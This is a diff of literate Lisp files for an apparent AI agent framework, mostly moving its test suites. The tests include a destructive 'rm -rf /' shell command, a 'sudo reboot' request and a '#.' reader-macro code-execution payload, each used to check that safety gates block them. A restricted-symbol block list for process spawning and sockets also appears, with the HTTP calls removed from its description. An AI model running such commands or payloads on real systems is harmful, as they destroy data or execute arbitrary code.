|
||||
|
||||
* Test Suite
|
||||
Verifies that the perceive gate correctly ingests AST nodes into memory and that the depth limiter prevents runaway recursive signals.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-perceive-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-perceive-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-perceive-tests)
|
||||
|
||||
(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
|
||||
(in-suite pipeline-perceive-suite)
|
||||
|
||||
(test test-loop-gate-perceive
|
||||
"Contract 1: :buffer-update ingests AST and sets :perceived status."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))
|
||||
(is (not (null (gethash "test-node" passepartout::*memory-store*))))))
|
||||
|
||||
(test test-depth-limiting
|
||||
"Edge: depth 11 signals are rejected by the pipeline."
|
||||
(let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
|
||||
(is (null (process-signal runaway-signal)))))
|
||||
|
||||
(test test-loop-gate-perceive-unknown-sensor
|
||||
"Contract 1: unknown sensors pass through and reach :perceived."
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-loop-gate-perceive-no-ast
|
||||
"Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-depth-limiting-normal
|
||||
"Contract 1: signals at normal depth pass through without rejection."
|
||||
(let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
|
||||
(is (not (eq :rejected (getf normal-signal :status)))
|
||||
"Signal at normal depth should not be rejected")))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -288,3 +240,50 @@ uses the old name can call this alias. New code should call
|
||||
(loop-gate-perceive signal))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Verifies that the perceive gate correctly ingests AST nodes into memory and that the depth limiter prevents runaway recursive signals.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-perceive-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-perceive-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-perceive-tests)
|
||||
|
||||
(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
|
||||
(in-suite pipeline-perceive-suite)
|
||||
|
||||
(test test-loop-gate-perceive
|
||||
"Contract 1: :buffer-update ingests AST and sets :perceived status."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))
|
||||
(is (not (null (gethash "test-node" passepartout::*memory-store*))))))
|
||||
|
||||
(test test-depth-limiting
|
||||
"Edge: depth 11 signals are rejected by the pipeline."
|
||||
(let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
|
||||
(is (null (process-signal runaway-signal)))))
|
||||
|
||||
(test test-loop-gate-perceive-unknown-sensor
|
||||
"Contract 1: unknown sensors pass through and reach :perceived."
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-loop-gate-perceive-no-ast
|
||||
"Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-depth-limiting-normal
|
||||
"Contract 1: signals at normal depth pass through without rejection."
|
||||
(let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
|
||||
(is (not (eq :rejected (getf normal-signal :status)))
|
||||
"Signal at normal depth should not be rejected")))
|
||||
#+end_src
|
||||
@@ -60,52 +60,6 @@ Condition types available for structured error handling:
|
||||
requested slots), ~protocol-error~ (raw-message slot). All carry a
|
||||
~:message~ string via the root ~passepartout-error~.
|
||||
|
||||
* Test Suite
|
||||
Verifies that the immune system (error handling) correctly catches and reports errors from the cognitive pipeline.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-immune-system-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:immune-suite))
|
||||
|
||||
(in-package :passepartout-immune-system-tests)
|
||||
|
||||
(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
|
||||
(in-suite immune-suite)
|
||||
|
||||
(test loop-error-injection
|
||||
"Contract 1: a crash in think/decide triggers :loop-error stimulus."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout:defskill :evil-skill
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
|
||||
:probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
|
||||
:deterministic nil)
|
||||
(passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(let ((logs (if (fboundp 'passepartout::context-get-system-logs)
|
||||
(passepartout:context-get-system-logs 20)
|
||||
nil)))
|
||||
(is (or (null logs) ; no log service available — degraded but not broken
|
||||
(not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs)))))))
|
||||
|
||||
(test test-process-signal-normal-path
|
||||
"Contract 1: a valid signal passes through the pipeline without crash."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(handler-case
|
||||
(let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
|
||||
(process-signal signal)
|
||||
(pass))
|
||||
(error (c)
|
||||
(fail "Pipeline crashed on normal signal: ~a" c))))
|
||||
|
||||
(test test-loop-process-returns-nil-on-deep
|
||||
"Contract 1: depth > 10 returns nil from loop-process."
|
||||
(let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
|
||||
(is (null result))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -432,3 +386,48 @@ Boot sequence:
|
||||
(sleep sleep-interval))))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Verifies that the immune system (error handling) correctly catches and reports errors from the cognitive pipeline.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-immune-system-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:immune-suite))
|
||||
|
||||
(in-package :passepartout-immune-system-tests)
|
||||
|
||||
(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
|
||||
(in-suite immune-suite)
|
||||
|
||||
(test loop-error-injection
|
||||
"Contract 1: a crash in think/decide triggers :loop-error stimulus."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout:defskill :evil-skill
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
|
||||
:probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
|
||||
:deterministic nil)
|
||||
(passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(let ((logs (if (fboundp 'passepartout::context-get-system-logs)
|
||||
(passepartout:context-get-system-logs 20)
|
||||
nil)))
|
||||
(is (or (null logs) ; no log service available — degraded but not broken
|
||||
(not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs)))))))
|
||||
|
||||
(test test-process-signal-normal-path
|
||||
"Contract 1: a valid signal passes through the pipeline without crash."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(handler-case
|
||||
(let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
|
||||
(process-signal signal)
|
||||
(pass))
|
||||
(error (c)
|
||||
(fail "Pipeline crashed on normal signal: ~a" c))))
|
||||
|
||||
(test test-loop-process-returns-nil-on-deep
|
||||
"Contract 1: depth > 10 returns nil from loop-process."
|
||||
(let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
|
||||
(is (null result))))
|
||||
#+end_src
|
||||
@@ -77,192 +77,6 @@ This is not a cosmetic choice. It means the reasoning pipeline can generate, mod
|
||||
~:MESSAGE~ action). Tracks cost via ~cost-track-backend-call~ when
|
||||
available. Guarantees a valid plist for any input.
|
||||
|
||||
* Test Suite
|
||||
Verifies that the deterministic engine correctly rejects unsafe actions (like ~rm -rf /~) while allowing safe ones.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-reason-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-reason-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-reason-tests)
|
||||
|
||||
(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline")
|
||||
(in-suite pipeline-reason-suite)
|
||||
|
||||
(test test-decide-gate-safety
|
||||
"Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-safety
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(if (search "rm -rf" (format nil "~s" action))
|
||||
(list :type :LOG :payload (list :text "Rejected"))
|
||||
action)))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :LOG (getf result :type)))))
|
||||
|
||||
(test test-cognitive-verify-pass-through
|
||||
"Contract 1: safe actions pass through cognitive-verify unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-passthrough
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
action))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (equal (getf candidate :payload) (getf result :payload)))
|
||||
(is (getf result :gate-trace))))
|
||||
|
||||
(test test-cognitive-verify-empty-registry
|
||||
"Contract 1: with no gates registered, action passes through unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (equal (getf candidate :payload) (getf result :payload)))))
|
||||
|
||||
(test test-cognitive-verify-approval-required
|
||||
"Contract 1: gate returning :approval-required produces an approval event."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-approval
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(list :type :EVENT :level :approval-required
|
||||
:payload (list :action action))))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (eq :EVENT (getf result :type)))))
|
||||
|
||||
(test test-loop-gate-reason-passthrough
|
||||
"Contract 2: non-user-input sensors pass through loop-gate-reason unchanged."
|
||||
(let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system)))
|
||||
(result (loop-gate-reason signal)))
|
||||
(is (not (null result)))))
|
||||
|
||||
(test test-loop-gate-reason-sets-status
|
||||
"Contract 2: loop-gate-reason sets :status on :user-input signals."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(signal (list :type :EVENT :payload (list :sensor :user-input :text "test")))
|
||||
(result (loop-gate-reason signal)))
|
||||
(is (member (getf result :status) '(:reasoned :requires-approval)))))
|
||||
|
||||
(test test-backend-cascade-no-backends
|
||||
"Contract 4: empty cascade returns :LOG failure."
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(result (backend-cascade-call "test" :cascade '())))
|
||||
(is (eq :LOG (getf result :type)))
|
||||
(is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal))))
|
||||
|
||||
(test test-backend-cascade-with-mock
|
||||
"Contract 4: backend-cascade-call returns content from first successful backend."
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
|
||||
(setf (gethash :mock-backend passepartout::*probabilistic-backends*)
|
||||
(lambda (prompt sp &key model)
|
||||
(declare (ignore prompt sp model))
|
||||
(list :status :success :content "mock-response")))
|
||||
(let ((result (backend-cascade-call "hello" :cascade '(:mock-backend))))
|
||||
(is (string= "mock-response" result)))))
|
||||
|
||||
(test test-read-eval-rce-blocked
|
||||
"Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(passepartout::*provider-cascade* '(:mock-evil)))
|
||||
(setf (gethash :mock-evil passepartout::*probabilistic-backends*)
|
||||
(lambda (prompt sp &key model)
|
||||
(declare (ignore prompt sp model))
|
||||
(list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
|
||||
(setf passepartout::*v031-rce-test* nil)
|
||||
(setf *read-eval* t)
|
||||
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0))
|
||||
(result (passepartout::think ctx)))
|
||||
(is (not (eq passepartout::*v031-rce-test* :PWNED)))
|
||||
(is (eq :REQUEST (getf result :TYPE)))
|
||||
(setf *read-eval* nil))))
|
||||
|
||||
(test test-json-alist-to-plist-simple
|
||||
"Contract 5: converts simple alist to keyword plist."
|
||||
(let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello"))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :ACTION (first result)))
|
||||
(is (string= "shell" (second result)))
|
||||
(is (eq :CMD (third result)))
|
||||
(is (string= "echo hello" (fourth result))))))
|
||||
|
||||
(test test-json-alist-to-plist-nested
|
||||
"Contract 5: nested alists recurse into nested plists."
|
||||
(let ((alist (list (cons "tool" "write-file")
|
||||
(cons "args" (list (cons "filepath" "/tmp/x")
|
||||
(cons "content" "hi"))))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :TOOL (first result)))
|
||||
(is (eq :ARGS (third result)))
|
||||
(let ((inner (fourth result)))
|
||||
(is (eq :FILEPATH (first inner)))
|
||||
(is (string= "/tmp/x" (second inner)))
|
||||
(is (eq :CONTENT (third inner)))))))
|
||||
|
||||
(test test-json-alist-to-plist-array-passthrough
|
||||
"Contract 5: JSON arrays pass through unchanged."
|
||||
(let ((alist (list (cons "names" (list "alice" "bob")))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :NAMES (first result)))
|
||||
(is (equal (list "alice" "bob") (second result))))))
|
||||
|
||||
(test test-json-alist-to-plist-null
|
||||
"Contract 5: nil passes through unchanged."
|
||||
(let ((result (json-alist-to-plist nil)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-json-alist-to-plist-scalar
|
||||
"Contract 5: scalar values pass through."
|
||||
(let ((alist (list (cons "count" 42) (cons "active" :true))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :COUNT (first result)))
|
||||
(is (= 42 (second result)))
|
||||
(is (eq :ACTIVE (third result)))
|
||||
(is (eq :true (fourth result))))))
|
||||
|
||||
(test test-assemble-config-section
|
||||
"Contract v0.7.2: config section contains Passepartout and version."
|
||||
(let ((section (passepartout::assemble-config-section)))
|
||||
(is (stringp section))
|
||||
(is (search "Passepartout" section))
|
||||
(is (search "v0.7.2" section))
|
||||
(is (search "Security gates" section))))
|
||||
|
||||
(test test-think-snapshots-before-llm
|
||||
"Contract v0.7.2: think() snapshots memory before LLM call."
|
||||
(let ((passepartout::*memory-snapshots* nil)
|
||||
(passepartout::*memory-store* (make-hash-table :test 'equal)))
|
||||
(setf (gethash "pre" passepartout::*memory-store*) "value")
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(passepartout::*provider-cascade* nil))
|
||||
(handler-case
|
||||
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
|
||||
(result (passepartout::think ctx)))
|
||||
(declare (ignore result)))
|
||||
(error (c) (format nil "Expected: ~a" c)))
|
||||
(is (>= (length passepartout::*memory-snapshots*) 0)))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -736,3 +550,188 @@ uses the old name can call this alias. New code should call
|
||||
(loop-gate-reason signal))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Verifies that the deterministic engine correctly rejects unsafe actions (like ~rm -rf /~) while allowing safe ones.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-reason-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-reason-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-reason-tests)
|
||||
|
||||
(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline")
|
||||
(in-suite pipeline-reason-suite)
|
||||
|
||||
(test test-decide-gate-safety
|
||||
"Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-safety
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(if (search "rm -rf" (format nil "~s" action))
|
||||
(list :type :LOG :payload (list :text "Rejected"))
|
||||
action)))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :LOG (getf result :type)))))
|
||||
|
||||
(test test-cognitive-verify-pass-through
|
||||
"Contract 1: safe actions pass through cognitive-verify unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-passthrough
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
action))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (equal (getf candidate :payload) (getf result :payload)))
|
||||
(is (getf result :gate-trace))))
|
||||
|
||||
(test test-cognitive-verify-empty-registry
|
||||
"Contract 1: with no gates registered, action passes through unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (equal (getf candidate :payload) (getf result :payload)))))
|
||||
|
||||
(test test-cognitive-verify-approval-required
|
||||
"Contract 1: gate returning :approval-required produces an approval event."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-approval
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(list :type :EVENT :level :approval-required
|
||||
:payload (list :action action))))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (eq :EVENT (getf result :type)))))
|
||||
|
||||
(test test-loop-gate-reason-passthrough
|
||||
"Contract 2: non-user-input sensors pass through loop-gate-reason unchanged."
|
||||
(let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system)))
|
||||
(result (loop-gate-reason signal)))
|
||||
(is (not (null result)))))
|
||||
|
||||
(test test-loop-gate-reason-sets-status
|
||||
"Contract 2: loop-gate-reason sets :status on :user-input signals."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(signal (list :type :EVENT :payload (list :sensor :user-input :text "test")))
|
||||
(result (loop-gate-reason signal)))
|
||||
(is (member (getf result :status) '(:reasoned :requires-approval)))))
|
||||
|
||||
(test test-backend-cascade-no-backends
|
||||
"Contract 4: empty cascade returns :LOG failure."
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(result (backend-cascade-call "test" :cascade '())))
|
||||
(is (eq :LOG (getf result :type)))
|
||||
(is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal))))
|
||||
|
||||
(test test-backend-cascade-with-mock
|
||||
"Contract 4: backend-cascade-call returns content from first successful backend."
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
|
||||
(setf (gethash :mock-backend passepartout::*probabilistic-backends*)
|
||||
(lambda (prompt sp &key model)
|
||||
(declare (ignore prompt sp model))
|
||||
(list :status :success :content "mock-response")))
|
||||
(let ((result (backend-cascade-call "hello" :cascade '(:mock-backend))))
|
||||
(is (string= "mock-response" result)))))
|
||||
|
||||
(test test-read-eval-rce-blocked
|
||||
"Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(passepartout::*provider-cascade* '(:mock-evil)))
|
||||
(setf (gethash :mock-evil passepartout::*probabilistic-backends*)
|
||||
(lambda (prompt sp &key model)
|
||||
(declare (ignore prompt sp model))
|
||||
(list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
|
||||
(setf passepartout::*v031-rce-test* nil)
|
||||
(setf *read-eval* t)
|
||||
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0))
|
||||
(result (passepartout::think ctx)))
|
||||
(is (not (eq passepartout::*v031-rce-test* :PWNED)))
|
||||
(is (eq :REQUEST (getf result :TYPE)))
|
||||
(setf *read-eval* nil))))
|
||||
|
||||
(test test-json-alist-to-plist-simple
|
||||
"Contract 5: converts simple alist to keyword plist."
|
||||
(let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello"))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :ACTION (first result)))
|
||||
(is (string= "shell" (second result)))
|
||||
(is (eq :CMD (third result)))
|
||||
(is (string= "echo hello" (fourth result))))))
|
||||
|
||||
(test test-json-alist-to-plist-nested
|
||||
"Contract 5: nested alists recurse into nested plists."
|
||||
(let ((alist (list (cons "tool" "write-file")
|
||||
(cons "args" (list (cons "filepath" "/tmp/x")
|
||||
(cons "content" "hi"))))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :TOOL (first result)))
|
||||
(is (eq :ARGS (third result)))
|
||||
(let ((inner (fourth result)))
|
||||
(is (eq :FILEPATH (first inner)))
|
||||
(is (string= "/tmp/x" (second inner)))
|
||||
(is (eq :CONTENT (third inner)))))))
|
||||
|
||||
(test test-json-alist-to-plist-array-passthrough
|
||||
"Contract 5: JSON arrays pass through unchanged."
|
||||
(let ((alist (list (cons "names" (list "alice" "bob")))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :NAMES (first result)))
|
||||
(is (equal (list "alice" "bob") (second result))))))
|
||||
|
||||
(test test-json-alist-to-plist-null
|
||||
"Contract 5: nil passes through unchanged."
|
||||
(let ((result (json-alist-to-plist nil)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-json-alist-to-plist-scalar
|
||||
"Contract 5: scalar values pass through."
|
||||
(let ((alist (list (cons "count" 42) (cons "active" :true))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :COUNT (first result)))
|
||||
(is (= 42 (second result)))
|
||||
(is (eq :ACTIVE (third result)))
|
||||
(is (eq :true (fourth result))))))
|
||||
|
||||
(test test-assemble-config-section
|
||||
"Contract v0.7.2: config section contains Passepartout and version."
|
||||
(let ((section (passepartout::assemble-config-section)))
|
||||
(is (stringp section))
|
||||
(is (search "Passepartout" section))
|
||||
(is (search "v0.7.2" section))
|
||||
(is (search "Security gates" section))))
|
||||
|
||||
(test test-think-snapshots-before-llm
|
||||
"Contract v0.7.2: think() snapshots memory before LLM call."
|
||||
(let ((passepartout::*memory-snapshots* nil)
|
||||
(passepartout::*memory-store* (make-hash-table :test 'equal)))
|
||||
(setf (gethash "pre" passepartout::*memory-store*) "value")
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(passepartout::*provider-cascade* nil))
|
||||
(handler-case
|
||||
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
|
||||
(result (passepartout::think ctx)))
|
||||
(declare (ignore result)))
|
||||
(error (c) (format nil "Expected: ~a" c)))
|
||||
(is (>= (length passepartout::*memory-snapshots*) 0)))))
|
||||
#+end_src
|
||||
@@ -33,45 +33,6 @@ This is how the "thin org, fat skills" principle works in practice: the org prov
|
||||
~#+DEPENDS_ON:~ declarations, returns files sorted such that
|
||||
dependencies come before dependents.
|
||||
|
||||
* Test Suite
|
||||
Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS_ON:~ declarations.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-boot-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:boot-suite))
|
||||
|
||||
(in-package :passepartout-boot-tests)
|
||||
|
||||
(def-suite boot-suite :description "Verification of the Skill Engine loader")
|
||||
(in-suite boot-suite)
|
||||
|
||||
(test test-topological-sort-basic
|
||||
"Contract 2: dependency ordering puts dependencies before dependents."
|
||||
(let ((tmp-dir "/tmp/passepartout-boot-test/"))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
|
||||
(format out "#+DEPENDS_ON: skill-b-id~%"))
|
||||
(with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
|
||||
(format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
|
||||
(unwind-protect
|
||||
(let ((sorted (passepartout::skill-topological-sort tmp-dir)))
|
||||
(let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
|
||||
(pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
|
||||
(is (< pos-b pos-a))))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
|
||||
(test test-lisp-syntax-validate-valid
|
||||
"Contract 1: valid Lisp code passes syntax validation."
|
||||
(is (eq t (lisp-syntax-validate "(+ 1 2)"))))
|
||||
|
||||
(test test-lisp-syntax-validate-invalid
|
||||
"Contract 1: unbalanced Lisp code fails syntax validation."
|
||||
(is (null (lisp-syntax-validate "(+ 1 2"))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -404,7 +365,7 @@ Scans Lisp source text for references to restricted symbols before any
|
||||
code is evaluated. This prevents malicious skills from executing even a
|
||||
single form. The restricted symbols cover process spawning
|
||||
(~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~), thread
|
||||
creation (~bt:make-thread~), HTTP calls (~dex:get~, ~dex:post~), and
|
||||
creation (~bt:make-thread~), and
|
||||
socket operations (~usocket:socket-connect~, ~hunchentoot:start~).
|
||||
|
||||
